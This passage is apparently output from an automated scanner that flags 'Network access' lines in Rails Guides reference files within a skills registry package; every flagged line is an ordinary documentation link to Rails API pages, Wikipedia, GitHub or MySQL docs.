    manage. The module defines the `model_name` class method which will define several accessors using some [`ActiveSupport::Inflector`](https://api.rubyonrails.org/classes/ActiveSupport/Inflector.html)
  • Network accessline 898
    several accessors using some [`ActiveSupport::Inflector`](https://api.rubyonrails.org/classes/ActiveSupport/Inflector.html) methods.
  • Network accessline 899
    [`ActiveSupport::Inflector`](https://api.rubyonrails.org/classes/ActiveSupport/Inflector.html)
  • Network accessline 1057
    [`ActiveModel::SecurePassword`](https://api.rubyonrails.org/classes/ActiveModel/SecurePassword.html)
  • Network accessline 1062
    `ActiveModel::SecurePassword` depends on [`bcrypt`](https://github.com/bcrypt-ruby/bcrypt-ruby 'BCrypt'), so include this
  • Network accessline 1063
    [`bcrypt`](https://github.com/bcrypt-ruby/bcrypt-ruby 'BCrypt'), so include this
  • Network accessline 1154
    [`ActiveModel::Serialization`](https://api.rubyonrails.org/classes/ActiveModel/Serialization.html)
  • Network accessline 1247
    Active Model also provides the [`ActiveModel::Serializers::JSON`](https://api.rubyonrails.org/classes/ActiveModel/Serializers/JSON.html)
  • Network accessline 1248
    [`ActiveModel::Serializers::JSON`](https://api.rubyonrails.org/classes/ActiveModel/Serializers/JSON.html)
  • Network accessline 1329
    [`ActiveModel::Translation`](https://api.rubyonrails.org/classes/ActiveModel/Translation.html)
  • Network accessline 1364
    [`ActiveModel::Validations`](https://api.rubyonrails.org/classes/ActiveModel/Validations.html)
  • Network accessline 1407
    - [`validate`](https://api.rubyonrails.org/classes/ActiveModel/Validations/ClassMethods.html#method-i-validate):
  • Network accessline 1410
    - [`validates`](https://api.rubyonrails.org/classes/ActiveModel/Validations/ClassMethods.html#method-i-validates):
  • Network accessline 1414
    - [`validates!`](https://api.rubyonrails.org/classes/ActiveModel/Validations/ClassMethods.html#method-i-validates-21)
  • Network accessline 1421
    - [`validates_with`](https://api.rubyonrails.org/classes/ActiveModel/Validations/ClassMethods.html#method-i-validates_with):
  • Network accessline 1425
    - [`validates_each`](https://api.rubyonrails.org/classes/ActiveModel/Validations/ClassMethods.html#method-i-validates_each):
  • Network accessline 1429
    the option you're using can be used with a specific validator, read through [the validation documentation](https://api.rubyonrails.org/classes/ActiveModel/Validations/ClassMethods.html).
  • Network accessline 1431
    documentation](https://api.rubyonrails.org/classes/ActiveModel/Validations/ClassMethods.html).
  • Network accessline 1463
    `ActiveModel::Validations` automatically adds an `errors` method to your instances initialized with a new [`ActiveModel::Errors`](https://api.rubyonrails.org/classes/ActiveModel/Errors.html)
  • Network accessline 1464
    instances initialized with a new [`ActiveModel::Errors`](https://api.rubyonrails.org/classes/ActiveModel/Errors.html) object, so there is no need for you to do this manually.
  • Network accessline 1465
    [`ActiveModel::Errors`](https://api.rubyonrails.org/classes/ActiveModel/Errors.html)
  • Network accessline 1488
    [`ActiveModel::Lint::Tests`](https://api.rubyonrails.org/classes/ActiveModel/Lint/Tests.html)
  • Network accessline 1524
    See [the test methods documentation](https://api.rubyonrails.org/classes/ActiveModel/Lint/Tests.html)
  • Network accessline 1525
    documentation](https://api.rubyonrails.org/classes/ActiveModel/Lint/Tests.html)

packages/autoskills/skills-registry/rails-guides/references/active_record_basics.md

  • Network accessline 1
    **DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON <https://guides.rubyonrails.org>.**
  • Network accessline 75
    [MVC]: https://en.wikipedia.org/wiki/Model%E2%80%93view%E2%80%93controller
  • Network accessline 76
    [MFAR]: https://www.martinfowler.com/eaaCatalog/activeRecord.html
  • Network accessline 77
    [ORM]: https://en.wikipedia.org/wiki/Object-relational_mapping
  • Network accessline 78
    [sqlcourse]: https://www.khanacademy.org/computing/computer-programming/sql
  • Network accessline 79
    [rdbmsinfo]: https://www.devart.com/what-is-rdbms/
  • Network accessline 106
    (and singularizing) both regular and irregular words in the English language. This uses the [Active Support](active_support_core_extensions.html#pluralize) [pluralize](https://api.rubyonrails.org/classes/ActiveSupport/Inflector.html#method-
  • Network accessline 108
    [pluralize](https://api.rubyonrails.org/classes/ActiveSupport/Inflector.html#method-i-pluralize) method.
  • Network accessline 148
    the record is created or updated. * `lock_version` - Adds [optimistic   locking](https://api.rubyonrails.org/classes/ActiveRecord/Locking.html) to a
  • Network accessline 149
    * `lock_version` - Adds [optimistic   locking](https://api.rubyonrails.org/classes/ActiveRecord/Locking.html) to a   model.
  • Network accessline 150
    locking](https://api.rubyonrails.org/classes/ActiveRecord/Locking.html) to a
  • Network accessline 151
    model. * `type` - Specifies that the model uses [Single Table   Inheritance](https://api.rubyonrails.org/classes/ActiveRecord/Base.html#class-ActiveRecord::Base-label-Single+table+inheritance).
  • Network accessline 152
    * `type` - Specifies that the model uses [Single Table   Inheritance](https://api.rubyonrails.org/classes/ActiveRecord/Base.html#class-ActiveRecord::Base-label-Single+table+inheritance). * `(association_name)_type` - Stores the type for [po
  • Network accessline 153
    Inheritance](https://api.rubyonrails.org/classes/ActiveRecord/Base.html#class-ActiveRecord::Base-label-Single+table+inheritance).
  • Network accessline 171
    be created in `app/models/application_record.rb`. The `ApplicationRecord` class inherits from [`ActiveRecord::Base`](https://api.rubyonrails.org/classes/ActiveRecord/Base.html)
  • Network accessline 172
    inherits from [`ActiveRecord::Base`](https://api.rubyonrails.org/classes/ActiveRecord/Base.html) and it's what turns a regular Ruby class into an Active Record model.
  • Network accessline 173
    [`ActiveRecord::Base`](https://api.rubyonrails.org/classes/ActiveRecord/Base.html)
  • Network accessline 301
    Setting the [table_name_prefix](https://api.rubyonrails.org/classes/ActiveRecord/ModelSchema.html#method-c-table_name_prefix-3D)
  • Network accessline 302
    [table_name_prefix](https://api.rubyonrails.org/classes/ActiveRecord/ModelSchema.html#method-c-table_name_prefix-3D)
  • Network accessline 368
    [`id_value`]: https://api.rubyonrails.org/classes/ActiveRecord/ModelSchema.html#method-i-id_value

packages/autoskills/skills-registry/rails-guides/references/active_record_callbacks.md

  • Network accessline 1
    **DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON <https://guides.rubyonrails.org>.**
  • Network accessline 185
    [`after_create`]:     https://api.rubyonrails.org/classes/ActiveRecord/Callbacks/ClassMethods.html#method-i-after_create
  • Network accessline 186
    https://api.rubyonrails.org/classes/ActiveRecord/Callbacks/ClassMethods.html#method-i-after_create
  • Network accessline 187
    [`after_commit`]:     https://api.rubyonrails.org/classes/ActiveRecord/Transactions/ClassMethods.html#method-i-after_commit [`after_rollback`]:
  • Network accessline 188
    https://api.rubyonrails.org/classes/ActiveRecord/Transactions/ClassMethods.html#method-i-after_commit
  • Network accessline 189
    [`after_rollback`]:     https://api.rubyonrails.org/classes/ActiveRecord/Transactions/ClassMethods.html#method-i-after_rollback [`after_save`]:
  • Network accessline 190
    https://api.rubyonrails.org/classes/ActiveRecord/Transactions/ClassMethods.html#method-i-after_rollback
  • Network accessline 191
    [`after_save`]:     https://api.rubyonrails.org/classes/ActiveRecord/Callbacks/ClassMethods.html#method-i-after_save [`after_validation`]:
  • Network accessline 192
    https://api.rubyonrails.org/classes/ActiveRecord/Callbacks/ClassMethods.html#method-i-after_save
  • Network accessline 193
    [`after_validation`]:     https://api.rubyonrails.org/classes/ActiveModel/Validations/Callbacks/ClassMethods.html#method-i-after_validation [`around_create`]:
  • Network accessline 194
    https://api.rubyonrails.org/classes/ActiveModel/Validations/Callbacks/ClassMethods.html#method-i-after_validation
  • Network accessline 195
    [`around_create`]:     https://api.rubyonrails.org/classes/ActiveRecord/Callbacks/ClassMethods.html#method-i-around_create [`around_save`]:
  • Network accessline 196
    https://api.rubyonrails.org/classes/ActiveRecord/Callbacks/ClassMethods.html#method-i-around_create
  • Network accessline 197
    [`around_save`]:     https://api.rubyonrails.org/classes/ActiveRecord/Callbacks/ClassMethods.html#method-i-around_save [`before_create`]:
  • Network accessline 198
    https://api.rubyonrails.org/classes/ActiveRecord/Callbacks/ClassMethods.html#method-i-around_save
  • Network accessline 199
    [`before_create`]:     https://api.rubyonrails.org/classes/ActiveRecord/Callbacks/ClassMethods.html#method-i-before_create [`before_save`]:
  • Network accessline 200
    https://api.rubyonrails.org/classes/ActiveRecord/Callbacks/ClassMethods.html#method-i-before_create
  • Network accessline 201
    [`before_save`]:     https://api.rubyonrails.org/classes/ActiveRecord/Callbacks/ClassMethods.html#method-i-before_save [`before_validation`]:
  • Network accessline 202
    https://api.rubyonrails.org/classes/ActiveRecord/Callbacks/ClassMethods.html#method-i-before_save
  • Network accessline 204
    https://api.rubyonrails.org/classes/ActiveModel/Validations/Callbacks/ClassMethods.html#method-i-before_validation
  • Network accessline 212
    Validation callbacks are triggered whenever the record is validated directly via the [`valid?`](https://api.rubyonrails.org/classes/ActiveModel/Validations.html#method-i-valid-3F)
  • Network accessline 213
    the [`valid?`](https://api.rubyonrails.org/classes/ActiveModel/Validations.html#method-i-valid-3F) ( or its alias
  • Network accessline 214
    [`valid?`](https://api.rubyonrails.org/classes/ActiveModel/Validations.html#method-i-valid-3F)
  • Network accessline 215
    ( or its alias [`validate`](https://api.rubyonrails.org/classes/ActiveModel/Validations.html#method-i-validate)) or
  • Network accessline 216
    [`validate`](https://api.rubyonrails.org/classes/ActiveModel/Validations.html#method-i-validate))
  • Network accessline 217
    or [`invalid?`](https://api.rubyonrails.org/classes/ActiveModel/Validations.html#method-i-invalid-3F) method, or indirectly via `create`, `update`, or `save`. They are called before
  • Network accessline 218
    [`invalid?`](https://api.rubyonrails.org/classes/ActiveModel/Validations.html#method-i-invalid-3F)
  • Network accessline 351
    [`after_update`]:     https://api.rubyonrails.org/classes/ActiveRecord/Callbacks/ClassMethods.html#method-i-after_update
  • Network accessline 352
    https://api.rubyonrails.org/classes/ActiveRecord/Callbacks/ClassMethods.html#method-i-after_update
  • Network accessline 353
    [`around_update`]:     https://api.rubyonrails.org/classes/ActiveRecord/Callbacks/ClassMethods.html#method-i-around_update [`before_update`]:
  • Network accessline 354
    https://api.rubyonrails.org/classes/ActiveRecord/Callbacks/ClassMethods.html#method-i-around_update
  • Network accessline 356
    https://api.rubyonrails.org/classes/ActiveRecord/Callbacks/ClassMethods.html#method-i-before_update
  • Network accessline 459
    [`after_destroy`]:     https://api.rubyonrails.org/classes/ActiveRecord/Callbacks/ClassMethods.html#method-i-after_destroy
  • Network accessline 460
    https://api.rubyonrails.org/classes/ActiveRecord/Callbacks/ClassMethods.html#method-i-after_destroy
  • Network accessline 461
    [`around_destroy`]:     https://api.rubyonrails.org/classes/ActiveRecord/Callbacks/ClassMethods.html#method-i-around_destroy [`before_destroy`]:
  • Network accessline 462
    https://api.rubyonrails.org/classes/ActiveRecord/Callbacks/ClassMethods.html#method-i-around_destroy
  • Network accessline 464
    https://api.rubyonrails.org/classes/ActiveRecord/Callbacks/ClassMethods.html#method-i-before_destroy
  • Network accessline 547
    [`after_find`]:     https://api.rubyonrails.org/classes/ActiveRecord/Callbacks/ClassMethods.html#method-i-after_find
  • Network accessline 548
    https://api.rubyonrails.org/classes/ActiveRecord/Callbacks/ClassMethods.html#method-i-after_find
  • Network accessline 550
    https://api.rubyonrails.org/classes/ActiveRecord/Callbacks/ClassMethods.html#method-i-after_initialize
  • Network accessline 554
    The [`after_touch`][] callback will be called whenever an Active Record object is touched. You can [read more about `touch` in the API docs](https://api.rubyonrails.org/classes/ActiveRecord/Persistence.html#method-i-touch).
  • Network accessline 556
    docs](https://api.rubyonrails.org/classes/ActiveRecord/Persistence.html#method-i-touch).
  • Network accessline 606
    [`after_touch`]:     https://api.rubyonrails.org/classes/ActiveRecord/Callbacks/ClassMethods.html#method-i-after_touch
  • Network accessline 607
    https://api.rubyonrails.org/classes/ActiveRecord/Callbacks/ClassMethods.html#method-i-after_touch
  • Network accessline 803
    [`decrement!`]:     https://api.rubyonrails.org/classes/ActiveRecord/Persistence.html#method-i-decrement-21
  • Network accessline 804
    https://api.rubyonrails.org/classes/ActiveRecord/Persistence.html#method-i-decrement-21
  • Network accessline 805
    [`decrement_counter`]:     https://api.rubyonrails.org/classes/ActiveRecord/CounterCache/ClassMethods.html#method-i-decrement_counter [`delete`]:
  • Network accessline 806
    https://api.rubyonrails.org/classes/ActiveRecord/CounterCache/ClassMethods.html#method-i-decrement_counter
  • Network accessline 807
    [`delete`]:     https://api.rubyonrails.org/classes/ActiveRecord/Persistence.html#method-i-delete [`delete_all`]:
  • Network accessline 808
    https://api.rubyonrails.org/classes/ActiveRecord/Persistence.html#method-i-delete
  • Network accessline 809
    [`delete_all`]:     https://api.rubyonrails.org/classes/ActiveRecord/Relation.html#method-i-delete_all [`delete_by`]:
  • Network accessline 810
    https://api.rubyonrails.org/classes/ActiveRecord/Relation.html#method-i-delete_all
  • Network accessline 811
    [`delete_by`]:     https://api.rubyonrails.org/classes/ActiveRecord/Relation.html#method-i-delete_by [`increment!`]:
  • Network accessline 812
    https://api.rubyonrails.org/classes/ActiveRecord/Relation.html#method-i-delete_by
  • Network accessline 813
    [`increment!`]:     https://api.rubyonrails.org/classes/ActiveRecord/Persistence.html#method-i-increment-21 [`increment_counter`]:
  • Network accessline 814
    https://api.rubyonrails.org/classes/ActiveRecord/Persistence.html#method-i-increment-21
  • Network accessline 815
    [`increment_counter`]:     https://api.rubyonrails.org/classes/ActiveRecord/CounterCache/ClassMethods.html#method-i-increment_counter [`insert`]:
  • Network accessline 816
    https://api.rubyonrails.org/classes/ActiveRecord/CounterCache/ClassMethods.html#method-i-increment_counter
  • Network accessline 817
    [`insert`]:     https://api.rubyonrails.org/classes/ActiveRecord/Relation.html#method-i-insert [`insert!`]:
  • Network accessline 818
    https://api.rubyonrails.org/classes/ActiveRecord/Relation.html#method-i-insert
  • Network accessline 819
    [`insert!`]:     https://api.rubyonrails.org/classes/ActiveRecord/Relation.html#method-i-insert-21 [`insert_all`]:
  • Network accessline 820
    https://api.rubyonrails.org/classes/ActiveRecord/Relation.html#method-i-insert-21
  • Network accessline 821
    [`insert_all`]:     https://api.rubyonrails.org/classes/ActiveRecord/Relation.html#method-i-insert_all [`insert_all!`]:
  • Network accessline 822
    https://api.rubyonrails.org/classes/ActiveRecord/Relation.html#method-i-insert_all
  • Network accessline 823
    [`insert_all!`]:     https://api.rubyonrails.org/classes/ActiveRecord/Relation.html#method-i-insert_all-21 [`touch_all`]:
  • Network accessline 824
    https://api.rubyonrails.org/classes/ActiveRecord/Relation.html#method-i-insert_all-21
  • Network accessline 825
    [`touch_all`]:     https://api.rubyonrails.org/classes/ActiveRecord/Relation.html#method-i-touch_all [`update_column`]:
  • Network accessline 826
    https://api.rubyonrails.org/classes/ActiveRecord/Relation.html#method-i-touch_all
  • Network accessline 827
    [`update_column`]:     https://api.rubyonrails.org/classes/ActiveRecord/Persistence.html#method-i-update_column [`update_columns`]:
  • Network accessline 828
    https://api.rubyonrails.org/classes/ActiveRecord/Persistence.html#method-i-update_column
  • Network accessline 829
    [`update_columns`]:     https://api.rubyonrails.org/classes/ActiveRecord/Persistence.html#method-i-update_columns [`update_all`]:
  • Network accessline 830
    https://api.rubyonrails.org/classes/ActiveRecord/Persistence.html#method-i-update_columns
  • Network accessline 831
    [`update_all`]:     https://api.rubyonrails.org/classes/ActiveRecord/Relation.html#method-i-update_all [`update_counters`]:
  • Network accessline 832
    https://api.rubyonrails.org/classes/ActiveRecord/Relation.html#method-i-update_all
  • Network accessline 833
    [`update_counters`]:     https://api.rubyonrails.org/classes/ActiveRecord/Relation.html#method-i-update_counters [`upsert`]:
  • Network accessline 834
    https://api.rubyonrails.org/classes/ActiveRecord/Relation.html#method-i-update_counters
  • Network accessline 835
    [`upsert`]:     https://api.rubyonrails.org/classes/ActiveRecord/Relation.html#method-i-upsert [`upsert_all`]:
  • Network accessline 836
    https://api.rubyonrails.org/classes/ActiveRecord/Relation.html#method-i-upsert
  • Network accessline 838
    https://api.rubyonrails.org/classes/ActiveRecord/Relation.html#method-i-upsert_all
  • Network accessline 849
    Rails provides a mechanism to prevent saving records using the [`ActiveRecord::Suppressor` module](https://api.rubyonrails.org/classes/ActiveRecord/Suppressor.html).
  • Network accessline 850
    [`ActiveRecord::Suppressor` module](https://api.rubyonrails.org/classes/ActiveRecord/Suppressor.html).
  • Network accessline 1331
    [`after_create_commit`]:     https://api.rubyonrails.org/classes/ActiveRecord/Transactions/ClassMethods.html#method-i-after_create_commit
  • Network accessline 1332
    https://api.rubyonrails.org/classes/ActiveRecord/Transactions/ClassMethods.html#method-i-after_create_commit
  • Network accessline 1333
    [`after_destroy_commit`]:     https://api.rubyonrails.org/classes/ActiveRecord/Transactions/ClassMethods.html#method-i-after_destroy_commit [`after_save_commit`]:
  • Network accessline 1334
    https://api.rubyonrails.org/classes/ActiveRecord/Transactions/ClassMethods.html#method-i-after_destroy_commit
  • Network accessline 1335
    [`after_save_commit`]:     https://api.rubyonrails.org/classes/ActiveRecord/Transactions/ClassMethods.html#method-i-after_save_commit [`after_update_commit`]:
  • Network accessline 1336
    https://api.rubyonrails.org/classes/ActiveRecord/Transactions/ClassMethods.html#method-i-after_save_commit
  • Network accessline 1338
    https://api.rubyonrails.org/classes/ActiveRecord/Transactions/ClassMethods.html#method-i-after_update_commit
  • Network accessline 1377
    [`ActiveRecord.after_all_transactions_commit`]: https://api.rubyonrails.org/classes/ActiveRecord.html#method-c-after_all_transactions_commit

packages/autoskills/skills-registry/rails-guides/references/active_record_composite_primary_keys.md

  • Network accessline 1
    **DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON <https://guides.rubyonrails.org>.**

packages/autoskills/skills-registry/rails-guides/references/active_record_encryption.md

  • Network accessline 1
    **DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON <https://guides.rubyonrails.org>.**
  • Network accessline 2
    <https://guides.rubyonrails.org>.**
  • Network accessline 33
    in your code. This enables precise access control throughout your application and any connected services. For example, you can use tools like [console1984](https://github.com/basecamp/console1984) to restrict decrypted
  • Network accessline 34
    and any connected services. For example, you can use tools like [console1984](https://github.com/basecamp/console1984) to restrict decrypted data access in the Rails console. You can also take advantage of automatic
  • Network accessline 35
    [console1984](https://github.com/basecamp/console1984) to restrict decrypted
  • Network accessline 71
    NOTE: The generated values are 32 bytes in length. If you generate these yourself, the recommended minimum length is 12 bytes for the primary key and 20 bytes for the [salt](https://en.wikipedia.org/wiki/Salt_(cryptography)).
  • Network accessline 73
    bytes for the [salt](https://en.wikipedia.org/wiki/Salt_(cryptography)).
  • Network accessline 80
    The [`encrypts` method](https://api.rubyonrails.org/classes/ActiveRecord/Encryption/EncryptableRecord.html#method-i-encrypts)
  • Network accessline 81
    method](https://api.rubyonrails.org/classes/ActiveRecord/Encryption/EncryptableRecord.html#method-i-encrypts)
  • Network accessline 232
    NOTE: In non-deterministic mode, Active Record uses [AES](https://en.wikipedia.org/wiki/Advanced_Encryption_Standard)-[GCM](https://en.wikipedia.org/wiki/Galois/Counter_Mode)
  • Network accessline 233
    [AES](https://en.wikipedia.org/wiki/Advanced_Encryption_Standard)-[GCM](https://en.wikipedia.org/wiki/Galois/Counter_Mode)
  • Network accessline 235
    it also uses AES-GCM, but the initialization vector is not random. It is generated as a function of the key and the plaintext content ([HMAC](https://en.wikipedia.org/wiki/HMAC)-SHA-256 digest of the two).
  • Network accessline 237
    ([HMAC](https://en.wikipedia.org/wiki/HMAC)-SHA-256 digest of the two).
  • Network accessline 276
    type before encrypting them as long as the value is serializable as Strings. If the underlying type is not serializable as a String, you can use a custom [`message_serializer`](https://edgeapi.rubyonrails.org/classes/ActiveRecord/Encryption
  • Network accessline 278
    [`message_serializer`](https://edgeapi.rubyonrails.org/classes/ActiveRecord/Encryption/MessageSerializer.html):
  • Network accessline 286
    Attributes with structured types using the [`serialized`](https://api.rubyonrails.org/v8.0.2/classes/ActiveRecord/AttributeMethods/Serialization/ClassMethods.html#method-i-serialize)
  • Network accessline 287
    [`serialized`](https://api.rubyonrails.org/v8.0.2/classes/ActiveRecord/AttributeMethods/Serialization/ClassMethods.html#method-i-serialize)
  • Network accessline 459
    You can also configure the algorithm used for the compression. The default compressor is [`Zlib`](https://en.wikipedia.org/wiki/Zlib). You can implement
  • Network accessline 460
    compressor is [`Zlib`](https://en.wikipedia.org/wiki/Zlib). You can implement
  • Network accessline 647
    You can use [`with_encryption_context`](https://api.rubyonrails.org/classes/ActiveRecord/Encryption/Contexts.html#method-i-with_encryption_context)
  • Network accessline 648
    [`with_encryption_context`](https://api.rubyonrails.org/classes/ActiveRecord/Encryption/Contexts.html#method-i-with_encryption_context)
  • Network accessline 709
    The [`DerivedSecretKeyProvider`](https://api.rubyonrails.org/classes/ActiveRecord/Encryption/DerivedSecretKeyProvider.html)
  • Network accessline 710
    [`DerivedSecretKeyProvider`](https://api.rubyonrails.org/classes/ActiveRecord/Encryption/DerivedSecretKeyProvider.html)
  • Network accessline 724
    The [`EnvelopeEncryptionKeyProvider`](https://api.rubyonrails.org/classes/ActiveRecord/Encryption/EnvelopeEncryptionKeyProvider.html)
  • Network accessline 725
    [`EnvelopeEncryptionKeyProvider`](https://api.rubyonrails.org/classes/ActiveRecord/Encryption/EnvelopeEncryptionKeyProvider.html)
  • Network accessline 726
    implements a simple [envelope encryption](https://en.wikipedia.org/wiki/Hybrid_cryptosystem#Envelope_encryption) strategy, where the data is encrypted with a key, which in turn is also
  • Network accessline 727
    encryption](https://en.wikipedia.org/wiki/Hybrid_cryptosystem#Envelope_encryption)
  • Network accessline 773
    A key can include arbitrary tags that will be stored unencrypted with the message. You can use [`ActiveRecord::Encryption::Message#headers`](https://edgeapi.rubyonrails.org/classes/ActiveRecord/Encryption/Message.html)
  • Network accessline 774
    message. You can use [`ActiveRecord::Encryption::Message#headers`](https://edgeapi.rubyonrails.org/classes/ActiveRecord/Encryption/Message.html) to examine those values when decrypting.
  • Network accessline 775
    [`ActiveRecord::Encryption::Message#headers`](https://edgeapi.rubyonrails.org/classes/ActiveRecord/Encryption/Message.html)

packages/autoskills/skills-registry/rails-guides/references/active_record_migrations.md

  • Network accessline 1
    **DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON <https://guides.rubyonrails.org>.**
  • Network accessline 25
    Migrations are a convenient way to [evolve your database schema over time](https://en.wikipedia.org/wiki/Schema_migration) in a reproducible way.
  • Network accessline 26
    time](https://en.wikipedia.org/wiki/Schema_migration) in a reproducible way.
  • Network accessline 27
    They use a Ruby [DSL](https://en.wikipedia.org/wiki/Domain-specific_language) so
  • Network accessline 28
    that you don't have to write [SQL](https://en.wikipedia.org/wiki/SQL) by hand,
  • Network accessline 327
    [`add_column`]:     https://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html#method-i-add_column
  • Network accessline 328
    https://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html#method-i-add_column
  • Network accessline 329
    [`add_index`]:     https://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html#method-i-add_index [`add_reference`]:
  • Network accessline 330
    https://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html#method-i-add_index
  • Network accessline 331
    [`add_reference`]:     https://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html#method-i-add_reference [`remove_column`]:
  • Network accessline 332
    https://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html#method-i-add_reference
  • Network accessline 334
    https://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html#method-i-remove_column
  • Network accessline 548
    [`create_table`]:     https://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html#method-i-create_table
  • Network accessline 549
    https://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html#method-i-create_table
  • Network accessline 622
    [`create_join_table`]:     https://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html#method-i-create_join_table
  • Network accessline 623
    https://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html#method-i-create_join_table
  • Network accessline 645
    [`change_table`]:     https://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html#method-i-change_table
  • Network accessline 646
    https://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html#method-i-change_table
  • Network accessline 693
    [`change_column`]:     https://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html#method-i-change_column
  • Network accessline 694
    https://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html#method-i-change_column
  • Network accessline 695
    [`change_column_default`]:     https://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html#method-i-change_column_default [`change_column_null`]:
  • Network accessline 696
    https://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html#method-i-change_column_default
  • Network accessline 698
    https://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html#method-i-change_column_null
  • Network accessline 735
    The MySQL `algorithm` option accepts `:default`, `:copy`, `:inplace`, or `:instant`. The `lock` option accepts `:default`, `:none`, `:shared`, or `:exclusive`. See the [MySQL documentation on Online DDL](https://dev.mysql.com/doc/refman/en/
  • Network accessline 736
    The `lock` option accepts `:default`, `:none`, `:shared`, or `:exclusive`. See the [MySQL documentation on Online DDL](https://dev.mysql.com/doc/refman/en/innodb-online-ddl-operations.html) for details on which algorithms and lock modes are
  • Network accessline 737
    See the [MySQL documentation on Online DDL](https://dev.mysql.com/doc/refman/en/innodb-online-ddl-operations.html)
  • Network accessline 778
    For more `add_reference` options, visit the [API documentation](https://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html#method-i-add_reference).
  • Network accessline 779
    documentation](https://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html#method-i-add_reference).
  • Network accessline 907
    [`execute`]:     https://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/DatabaseStatements.html#method-i-execute
  • Network accessline 908
    https://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/DatabaseStatements.html#method-i-execute
  • Network accessline 909
    [`ActiveRecord::ConnectionAdapters::SchemaStatements`]:     https://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html [`ActiveRecord::ConnectionAdapters::TableDefinition`]:
  • Network accessline 910
    https://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html
  • Network accessline 911
    [`ActiveRecord::ConnectionAdapters::TableDefinition`]:     https://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/TableDefinition.html [`ActiveRecord::ConnectionAdapters::Table`]:
  • Network accessline 912
    https://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/TableDefinition.html
  • Network accessline 914
    https://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/Table.html
  • Network accessline 955
    [`add_check_constraint`]:     https://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html#method-i-add_check_constraint
  • Network accessline 956
    https://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html#method-i-add_check_constraint
  • Network accessline 957
    [`add_foreign_key`]:     https://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html#method-i-add_foreign_key [`add_timestamps`]:
  • Network accessline 958
    https://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html#method-i-add_foreign_key
  • Network accessline 959
    [`add_timestamps`]:     https://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html#method-i-add_timestamps [`change_column_comment`]:
  • Network accessline 960
    https://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html#method-i-add_timestamps
  • Network accessline 961
    [`change_column_comment`]:     https://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html#method-i-change_column_comment [`change_table_comment`]:
  • Network accessline 962
    https://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html#method-i-change_column_comment
  • Network accessline 963
    [`change_table_comment`]:     https://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html#method-i-change_table_comment [`drop_join_table`]:
  • Network accessline 964
    https://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html#method-i-change_table_comment
  • Network accessline 965
    [`drop_join_table`]:     https://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html#method-i-drop_join_table [`drop_table`]:
  • Network accessline 966
    https://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html#method-i-drop_join_table
  • Network accessline 967
    [`drop_table`]:     https://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html#method-i-drop_table [`remove_check_constraint`]:
  • Network accessline 968
    https://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html#method-i-drop_table
  • Network accessline 969
    [`remove_check_constraint`]:     https://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html#method-i-remove_check_constraint [`remove_foreign_key`]:
  • Network accessline 970
    https://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html#method-i-remove_check_constraint
  • Network accessline 971
    [`remove_foreign_key`]:     https://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html#method-i-remove_foreign_key [`remove_index`]:
  • Network accessline 972
    https://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html#method-i-remove_foreign_key
  • Network accessline 973
